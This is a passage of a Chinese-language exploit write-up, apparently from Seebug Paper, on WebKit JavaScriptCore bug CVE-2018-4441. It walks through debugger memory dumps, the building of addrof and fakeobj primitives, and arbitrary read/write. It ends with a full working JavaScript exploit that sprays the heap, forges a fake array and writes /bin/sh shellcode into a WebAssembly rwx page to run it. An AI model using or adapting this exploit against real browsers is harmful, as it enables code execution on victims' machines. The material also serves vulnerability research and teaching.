0x7fe0000dffd8: 0x0000000000000000 0x0000000000000000
0x7fe0000dffe8: 0x0000000000000000 0x0000000000000000
0x7fe0000dfff8: 0x00000000badbeef0 0x00007ffff3a8a600
0x7fe0000e0008: 0x00000000badbeef0 0x00007ffff3a8a600
0x7fe0000e0018: 0x00000000badbeef0 0x00000000badbeef0
0x7fe0000e0028: 0x00000000badbeef0 0x00000000badbeef0
0x7fe0000e0038: 0x00000000badbeef0 0x00000000badbeef0
0x7fe0000e0048: 0x00000000badbeef0 0x00000000badbeef0
0x7fe0000e0058: 0x00000000badbeef0 0x00000000badbeef0
pwndbg> x/10xg 0x00007fe8000ff000-0x10
0x7fe8000feff0: 0x0000000000000000 0x0000000000000000
0x7fe8000ff000: 0x0000000000001337 0x0000000000000000
0x7fe8000ff010: 0x0000000000000000 0x0000000000000000
0x7fe8000ff020: 0x0000000000000000 0x0000000000000000
0x7fe8000ff030: 0x0000000000000000 0x0000000000000000
而且經過調試可以發現container中保存exp中jscell位置的值比i32中高8位的值大0x10000,所以exp中i32高8位-0x10000。
[*] container:
--> Object: 0x7fffb30c8380 with butterfly (nil) (Structure 0x7fffb3070e70:[Object, {jscell:0, butterfly:1}, NonArray, Proto:0x7fffb30b4000, Leaf]), StructureID: 320
pwndbg> x/10xg 0x7fffb30c8380
0x7fffb30c8380: 0x0100160000000140 0x0000000000000000
0x7fffb30c8390: 0x0001000000001337 0x00007fffb1c551f0
0x7fffb30c83a0: 0x00000000badbeef0 0x00000000badbeef0
0x7fffb30c83b0: 0x00000000badbeef0 0x00000000badbeef0
0x7fffb30c83c0: 0x00000000badbeef0 0x00000000badbeef0
關于i32和f64使用相同內存存儲,在JSArrayBufferView.h中有解釋WastefulTypedArray類型的存儲,WastefulTypedArray類型的butterfly并不包含vector。
// A typed array that was used in some crazy way. B's IndexingHeader
// is hijacked to contain a reference to the native array buffer. The
// native typed array view points back to the JS view. V points to a
// vector allocated using who-knows-what, and M = WastefulTypedArray.
// The view does not own the vector.
pwndbg> p *(JSC::JSArrayBufferView*)0x7fffb30c8340
$1 = {
......
m_vector = {
static kind = Gigacage::Primitive,
m_barrier = {
m_value = {
static kind = Gigacage::Primitive,
m_ptr = 0x7fe8000ff000
}
}
},
m_length = 1,
m_mode = JSC::TypedArrayMode::WastefulTypedArray
}
arbitrary read/write
這樣構造的container如下
[*] container:
--> Object: 0x7fffb30c8380 with butterfly (nil) (Structure 0x7fffb3070e70:[Object, {jscell:0, butterfly:1}, NonArray, Proto:0x7fffb30b4000, Leaf]), StructureID: 320
[*] victim:
--> Object: 0x7fffb1a551f0 with butterfly 0x7ff000280058 (Structure 0x7fffb3070d90:[Array, {prop:100, prop1:101}, ArrayWithDouble, Proto:0x7fffb30c80a0, Leaf]), StructureID: 318
pwndbg> x/6xg 0x7fffb30c8380
0x7fffb30c8380: 0x0100160000000140 0x0000000000000000
0x7fffb30c8390: 0x0108210700000064 0x00007fffb1a551f0
0x7fffb30c83a0: 0x00000000badbeef0 0x00000000badbeef0
即*(dword\*)(container+0x10)的位置為偽造的ArrayWithArrayStorage類型數組,fakeobj(container+0x10)構造butterfly為victim的fakeobj記hax。
[*] hax:
--> Object: 0x7fffb30c8390 with butterfly 0x7fffb1a551f0 (Structure 0x7fffb30f2b50:[Array, {}, ArrayWithArrayStorage, Proto:0x7fffb30c80a0, Leaf]), StructureID: 100
這時內存的存儲結構為hax.butterfly->victim,其中ArrayWithArrayStorage類型的數據直接存放在butterfly里,hax的butterfly可以通過hax[1]訪問修改,victim.prop也可以修改,由于ArrayWithDouble類型數據的prop存放在*(dword\*)(butterfly-0x10)的位置,我們修改hax.butterfly為addr+0x10即可實現addr處的任意地址讀寫。
read64: function(addr){
hax[1] = i2f(addr + 0x10);
return addrof(victim.prop);
},
write64: function(addr,data){
hax[1] = i2f(addr+0x10);
victim.prop = fakeobj(data);
}
這里的addrof和fakeobj的作用實際上是讀寫相應位置的數和進制轉換。
有了任意地址讀寫的原語我們就可以通過覆蓋wasm的rwx內存執行shellcode。
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;
addr_f = addrof(f);
var addr_p = this.read64(addr_f + 0x40);
var addr_shellcode = this.read64(addr_p);
print("0x"+addr_f.toString(16))
print("0x"+addr_p.toString(16))
print("0x"+addr_shellcode.toString(16));
shellcode = "j;X\x99RH\xbb//bin/shST_RWT^\x0f\x05"
this.write(addr_shellcode, shellcode);
這里的wasm_code作用是調用wasm模塊生成一個用于保存機器碼的rwx的頁,內容并不重要。js引擎實現wasm的方法一般是先用匯編初始化wasm模塊,然后跳轉到rwx的頁面執行真正用戶調用的內容;js引擎在執行用戶調用的wasm時需要找到保存這段字節碼的頁面,rwx的頁面地址會或隱式或顯示地保存在內存里,我們只需要調試找到rwx頁面的地址并覆蓋其內容即可。
完整exp
這里的exp較lokihardt的原版有修改,去掉了lokihardt利用unboxed2和boxed2指向相同內存構造第二個fakeobj和addrof原語的部分(作者認為這一部分或許是lokihardt為了顯示OOB這類漏洞的另一種通用構造fakeobj、addrof原語的方法,但是并不是必要的,去掉更容易理解而且并不影響exp的穩定性)
lokihardt的原exp: https://github.com/rtfingc/cve-repo/blob/master/0x05-lokihardt-webkit-cve-2018-4441-shiftCountWithArrayStorage/exp.js
var conversion_buffer = new ArrayBuffer(8)
var f64 = new Float64Array(conversion_buffer)
var i32 = new Uint32Array(conversion_buffer)
var BASE32 = 0x100000000
function f2i(f) {
f64[0] = f
return i32[0] + BASE32 * i32[1]
}
function i2f(i) {
i32[0] = i % BASE32
i32[1] = i / BASE32
return f64[0]
}
function user_gc() {
for (let i = 0; i < 10; i++) {
let ab = new ArrayBuffer(1024 * 1024 * 10);
}
}
let arr = [1];
arr.length = 0x100000;
arr.splice(0, 0x11);
arr.length = 0xfffffff0;
let spray = new Array(0x3000);
for (let i = 0; i < 0x3000; i += 2) {
spray[i] = [13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37+i];
spray[i+1] = [{},{},{},{},{},{},{},{},{},{}];
}
for (let i = 0; i < 0x3000; i += 2)
spray[i][0] = i2f(0x1337)
arr.splice(0x1000,0,1);
fake_index=-1;
for(let i=0;i<0x3000;i+=2){
if(spray[i].length!=10){
print("hit: "+i.toString(16));
fake_index=i;
break;
}
}
unboxed = spray[fake_index];
boxed = spray[fake_index+1];
function addrof(obj){
boxed[0] = obj;
return f2i(unboxed[14]);
}
function fakeobj(addr){
unboxed[14] = i2f(addr);
return boxed[0];
}
victim = [1.1];
victim[0] =3.3;;
victim['prop'] = 13.37;
victim['prop'+1] = 13.37;
i32[0]=100;
i32[1]=0x01082107 - 0x10000;
var container={
jscell:f64[0],
butterfly:victim,
}
container_addr = addrof(container);
hax = fakeobj(container_addr+0x10);
var stage2={
read64: function(addr){
hax[1] = i2f(addr + 0x10);
return addrof(victim.prop);
},
write64: function(addr,data){
hax[1] = i2f(addr+0x10);
victim.prop = fakeobj(data);
},
write: function(addr, shellcode) {
var theAddr = addr;
for(var i=0;i<shellcode.length;i++){
this.write64(addr+i,shellcode[i].charCodeAt())
}
},
pwn: function(){
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;
addr_f = addrof(f);
var addr_p = this.read64(addr_f + 0x40);
var addr_shellcode = this.read64(addr_p);
print("0x"+addr_f.toString(16))
print("0x"+addr_p.toString(16))
print("0x"+addr_shellcode.toString(16));
shellcode = "j;X\x99RH\xbb//bin/shST_RWT^\x0f\x05"
this.write(addr_shellcode, shellcode);
f();
}
}
stage2.pwn()

參考鏈接
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1229/
暫無評論